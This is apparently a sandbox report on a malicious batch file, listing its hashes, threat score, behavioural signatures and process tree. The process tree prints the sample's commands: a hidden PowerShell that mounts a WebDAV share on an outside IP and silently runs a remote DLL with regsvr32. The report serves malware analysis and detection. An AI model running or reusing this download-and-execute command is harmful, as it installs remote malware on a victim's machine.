Analysis
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max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
20/07/2024, 22:23
Static task
static1
Behavioral task
behavioral1
Sample
261463194548020265.bat
Resource
win7-20240705-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
261463194548020265.bat
Resource
win10v2004-20240709-en
8 signatures
150 seconds
General
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Target
261463194548020265.bat
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Size
16KB
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MD5
0b84678193f96f2090de54dcb8873cd2
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SHA1
361c1f8bd67b4637344b9d9be78dd9057731f97e
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SHA256
526d3423b43a9571ccb1516090bccc5c69ea8ce96200c19a1dd54808067efb63
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SHA512
c4784f3508a344da79ef672c734b5a55941a47e8c786795262453d5ccfa47d6cae6a344389de63b9c081308f778de47b7b6daa5d3e78dae99e2694a04a2aa6d3
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SSDEEP
384:094Z75OcyuEY2O3tbMh9RlmRsTo0SVJ9wzMh4eAE:w4hRibwT9uq4eAE
Score
8/10
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1700 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1700 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1700 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2232 wordpad.exe 2232 wordpad.exe 2232 wordpad.exe 2232 wordpad.exe 2232 wordpad.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 3028 wrote to memory of 2232 3028 cmd.exe 31 PID 3028 wrote to memory of 2232 3028 cmd.exe 31 PID 3028 wrote to memory of 2232 3028 cmd.exe 31 PID 3028 wrote to memory of 1700 3028 cmd.exe 32 PID 3028 wrote to memory of 1700 3028 cmd.exe 32 PID 3028 wrote to memory of 1700 3028 cmd.exe 32 PID 1700 wrote to memory of 2920 1700 powershell.exe 34 PID 1700 wrote to memory of 2920 1700 powershell.exe 34 PID 1700 wrote to memory of 2920 1700 powershell.exe 34 PID 1700 wrote to memory of 2108 1700 powershell.exe 35 PID 1700 wrote to memory of 2108 1700 powershell.exe 35 PID 1700 wrote to memory of 2108 1700 powershell.exe 35 PID 1700 wrote to memory of 2108 1700 powershell.exe 35 PID 1700 wrote to memory of 2108 1700 powershell.exe 35
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\261463194548020265.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3028 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:2232
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\271491529015510.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:2920
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\271491529015510.dll3⤵PID:2108
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